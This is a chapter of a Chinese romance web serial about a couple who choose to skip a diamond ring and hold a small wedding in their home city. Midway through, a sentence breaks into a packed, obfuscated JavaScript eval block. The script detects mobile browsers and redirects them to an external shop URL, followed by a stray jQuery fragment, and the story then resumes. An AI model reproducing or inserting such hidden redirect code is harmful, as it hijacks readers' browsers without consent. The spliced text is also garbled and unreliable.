167. 保留一点神秘
作品:《你再跑我要ptsd了》 小馄饨吃光了,凉粉吃光了,水煮肉片吃光了,连里面豆芽也捞干净了,Tiffany蓝躺在一边,溅上了滴油汤。看着辣成高原红的姜与段野情不自禁想起刚认识的时候在巴基斯坦餐厅让她吃干抹净的馕和咖喱。这人还真是……
“一天到晚那么多大道理。”
姜与擤着鼻子,“我讲我的道理你可以不听嘛。‘我不我就要买!’”
段野又给她抽了张纸巾,“买回来跟鬼戴啊?鬼都不会说钻戒是冰糖。”
姜与认真,“我是觉得,如果你想给我买,那确实不需要,因为真的很不划算。但你想要的话我们就买嘛,做人当然是开心最重要。”
“……才不要。这样显得我好像被资本做局的傻子。”段野嘟嘟囔囔却也不是生气,“我当然知道钻戒只是一种符号。但人生有时候不就需要一点这种华而不实的符号吗。我就想给你花点钱不行吗烦人。”
“想花钱还不容易?”姜与笑容贱兮兮,“哪有怕钱花不出去的道理,我看上的东西就没有便宜的好吗。而且你送我的东西很多啊,”她掰手指枚举,“那件Irvin我肯定要穿进棺材的,配上你织的那条羊绒围巾,我办公室那一整套设备不也都是你给我升级的,你说我的手表监测血氧太废就给我换了一个更牛的,每年生日你都送我乐高欸搞得我现在超期待过生日,你还会附带手写信,”她一脸认真,“就很oldschool(老辈子)。还有书籍啊音乐会舞剧话剧门票那些零零散散的东西……那有人喜欢钻戒鲜花包包,我就喜欢这种超级实用的特供礼品。”
她还没说枕头。姜与不怎么认床但认枕头,极端矫情,高一点低一点软一点硬一点就睡不好觉了。搬家别的都可以换新唯独枕头天南海北都得跟着,只是可怜那个小破枕头被她从小睡到大实在是再不堪重负。
“你自己慊麻烦可以忍,但你有考虑过枕头的意愿吗?”段青天伸张正义,“再延迟退休也不能死了还没到退的时候吧?”
然后他做功课买回来一堆枕头,几十元到上千,试来尝去,终于找到和姜与配对的头颅灵魂伴侣。
见她这样段野半是无奈地叹了口气。
“留着嘛赚钱多不容易。”
“你在给我省钱吗?”
“不是给你省钱,是在理性消费。”姜与陈词,“你买得起钻戒,我也买得起钻戒,那钻戒也不是我们可以随心所欲像买棒棒糖一样不用考虑的东西。你送我钻戒我当然开心,但这些钱拿去做其他事情我会开心得更久一点。”
“嗯……”段野换了只手托腮,“比如呢?如果,完全不用操心钱的问题,你最想做什么?”
“学习。”
“……”倒也,合情合理。
“干吗,”见段野无语凝噎姜与略略不满,“不要对学习抱有这么大的抵触情绪嘛。”
“不抵触一般人也不会像你一样把学习当爱好吧。”
“学习又不是上学。我以为大家都……应试教育和学习是两码事这不是公认的事实吗。整天‘学这个没用’、‘考那个证有帮助’,目的性太强当然很快就对学习产生抗拒了。”
今天做饭知道了热锅冷油和冷锅冷油的区别是一种学习,明天了解一点背景辐射和暴胀理论也是学习,后天分清了Cheetah(猎豹)和Leopard(金钱豹)和Jaguar(美洲豹)又是另一种学习,不都是学问与习得经验。
“道法归一嘛,世间万物所有知识都是融会贯通的,多学一点多认识一下这个世界,不是很有意思吗。”
这么说也是。段野那位文青大姑父,画功一绝,年轻下乡在暗房里洗照片,后来进博物馆修文物,再后来学医成了心内大拿,因为他一眼就能看出心电图上细微的隐藏问题,而这全仰仗那些看似毫不相关的经验累积。
“但世界是学不完的欸怎么办。”
“学我感兴趣的啊,学到没兴趣了就换下一个,能学多少是多少。”
“嗯……听起来是很有意思。”也的确很花钱。
“或者,”姜与看着他,“钱攒够了以后去……想去哪里去哪里。吃好的住好的,去南极给企鹅洗毛衣,去北朝鲜烫头,累了不想玩了就回来继续赚钱。”
“乌龟怎么办?”
“等乌龟冬眠。”
“或者交给德华。”
蓝序:?
时间滴滴答答。
“以后要等到什么时候。”她描绘的愿景很美好很,远,段野有些失落,“你不是不期待以后吗,想做的事情不要等以后。”
时间滴滴答答,流向谁也不知道的以后。
“诶。”
“嗯?”
“其实有一个,又不实用又有纪念意义而且比钻石开心的花钱方式。”姜与狡黠。
“什么?”段野喜欢她这副要干坏事的表情。
“你想不想办场婚礼?”
姜与最擅长将想法落地。说办就办,婚礼,姑且算婚礼吧,定在月城,今年春节。段野提前三个月就给科室打了报告,拼死累活加班加点,没有婚假只能请年假,扣钱肯定要扣的,但扣就扣吧,反正也没多少,人这辈子就算当螺丝也要当个有骨气的强硬螺丝,他倒是想看看仿佛缺了他就无法运转的位置到底是不是“你不干有得是人干”。
.
.
临近春节许多人早已返乡,早塞车晚拥堵的城市快速路和繁忙的地下轨道在年末的冷空气中终于迎来了片刻喘息,哪怕是些微的短暂的一点空闲。
比起人满为患的进站广场,出站口等客区这边要空旷许多。姜与降下车窗,清爽凉风拂面,她呵口气,并不像在北市张嘴就是白雾。天气预报说今年是个冷冬,但好像也没有很冷,看着路边新鲜的绿化带和晃眼的“月城站”三个大字,姜与印象中小时候早上起不来床的冬天好冷好冷呢。
等了约莫半个点,蓝序段野出来了,拖着两个大行李箱,一脸,二脸吞了苍蝇的模样。
“人很多吧。”春运那阵仗姜与能够想象。
放好行李蓝序一屁股坐进副驾,拧了瓶矿泉水猛灌一大半却还是,喉咙里苍蝇不上不下。后座段野表情同样一言难尽。
“怎么了?”三小时前这俩人还在给她分享列车小零食里的牛肉干多么多么好吃,这会儿是?发现那牛,是清朝牛?
“你有生理盐水吧。”蓝序说,“我需要洗洗眼睛。”
就在刚刚,这俩人见证了一场网恋奔现。别问怎么知道是网恋奔现,因为一看就是网恋奔现。
验票出站后,蓝序给姜与打电话,段野看指示牌找停车场。故事源于生活,主角就在你我身边,特别是火车站飞机场这种地方。然后蓝序段野就看见了,怀抱捧花等候的年轻男子,精心打扮到达的年轻女子,双向奔赴。他们对上接头暗号,他们手机验证身份信息,他们相视腼腆一笑,女孩害羞地接过花束,男孩害羞地牵起女孩的手。
对于蓝序段野而言,网恋这东西是不理解也玩不明白,但虽远必诛,不是……虽然千山万水也要来见你一面的浪漫故事谁看了不心动。年轻真好啊,他们感慨,欣慰的感触的姨母笑容正要染上嘴角,下一刻,他们看见,男的拉着女孩的手精准按向了自己的crotch。按着蹭着摸着,与他们擦肩而过直接进了车站口边上的连锁宾馆。
“……”姜与开着车,姜与想把车开进海里洗一洗。
很好。吞苍蝇联盟再添一人。
蓝序忍不住又喝一口水,“大冷天的也没到季节啊就这么迫不及待吗?”
虽然不是光天化日但也不是夜黑风高,大庭广众众目睽睽,看一眼就能支棱。
果然,年轻还是好吗。
同为雄性段野也觉得,丢人,“没在一起之前我做梦都不敢对你动手动脚好不好。”
姜与:……
蓝序:……
车子驶入市区,宽阔街道光鲜楼宇,这才压下去一点油腻。蓝序看着窗外倒退的斑斓风景,都市的熟悉陌生的环境。
见她一脸新鲜姜与问:“你只来过一次吗?”
“初三毕业也来过,不过没什么印象了。”年纪太小,蓝序
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343399|185824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对于月城最深刻的记忆也只有那年盛夏的铁窗泪。
而始作俑者在后面也是一脸外地人新奇,“这边变成这个样子了啊。”段野唏嘘,“我也七八年没回来过了。”
“很多地方我也不认得了。”姜与能体会他的感受。要不是之前看房到处跑,地铁她都坐不明白。
“你也很少回月城吗?”蓝序问。
“大学期间,回来过一次。”
“嘶……这位更是离谱。”蓝序吐槽,“二十年欸。那你在北市的时间比在家还长。”
姜与打转向灯最后停在餐厅门前,“没时间带着狗也不方便。”主要也没什么必须回来的理由,“后来又生病又疫情。”
填饱肚子,对着挂在姜与身上的段野,蓝序开始撵人,“忍忍吧马上就结了,婚前保留一点神秘感好吗。好好珍惜你的儿童房时光。”
冯女士和老段又飞出去耍了明天才落地,段野今晚真要回家独守儿童房。不过善良的蓝序还是给半个多月没见面的两个人留了一点时间和空间,虽然当街绽放有伤风化,但抱一下还是无伤大雅。
小区门口路灯昏黄,段野眼底乌青胡茬潦草,为了攒假最近是透支严重了。
“回去好好睡一觉。”姜与捧着他的脸心头有些酸涩。
“嗯,我会漂漂亮亮香喷喷出现的。”段野应承,“你也不准逃婚。”
姜与失笑,“嗯。”她郑重答应,“我会穿白色的。”
“好神奇。”车子继续向东,蓝序望着这个不熟悉不陌生的城市,“你们两个真的要结婚了。”
姜与笑,“你可以当做是大家找个由头聚一聚,新房入伙乔迁派对什么的。”
“也是,你这都不叫婚礼,人都凑不齐一桌,顶多算个轰趴。”
其实他们这算不算婚姻都众说纷纭。法律上不承认这是婚姻关系,家里长辈认为就是夫妻,有人认为是女男朋友也有人说是人生伴侣,或者,非法同居。
又有什么关系。
这世上不是所有东西都有确切答案,也不是什么都需要被定义。反正,她的人生从一开始就没有多少件事是循规蹈矩符合标准统一。
所以有什么关系。
何必执着给自己下定义。
“对了!”蓝序回神,“你不是自己做礼服吗?做好了吧?我能看看吗?”
姜与以毒攻毒,“婚前保留一点神秘感。”
.
决定好要办婚礼那天。
高原红姜与擦擦油嘴邪魅狂狷,“不是想花钱吗,那我要做礼服,你给我买最贵的布。”
“你要自己做吗?”段野从姑姑们买的特产里选了一盒饭后小甜点,“那么多设计师,祖母(ZuhairMurad)、西太后(VivienneWestwood)、ElieSaab,”段野显摆他这些年的时尚积累,“都看不上吗?还是你想穿西装?TomFord?Kiton?”
“我像是穿Zuhair的人吗?”糕点有些大姜与掰了一半给段野,“不是要有意义吗,当然自己做最有意义啊。”
“几块布再贵能有多贵,除非镶点钻。你镶点钻吧。”
“镶钻多俗气,镶砗磲贝吧。”
“什么东西?珍珠吗?贵吗?”
“运气好了海边就能捡。贵主要是,你得进去捞我。”
“……”
“不对欸。”
“干吗?”
“这个不要了吧?”段野收走姜与面前的空碗,“怎么会一穷二白呢?你奶奶家不是地主吗?”
“所以这不是被斗了么。”
“……那后来她不也自己奋斗成万元户了吗,按理说你应该是个富三代吧。”
“什么富三代输入法都知道‘富不过三代’。”姜与仔细捞了捞辣椒汤里还有没有炸花生,“你都说了是‘按理说’,那我奶奶就不按常理出牌啊,别说二代,一代都没坚持富到底。”
“生意黄了吗?”
姜与停下筷子,欲言又止,最终叹息。
“炒股。”

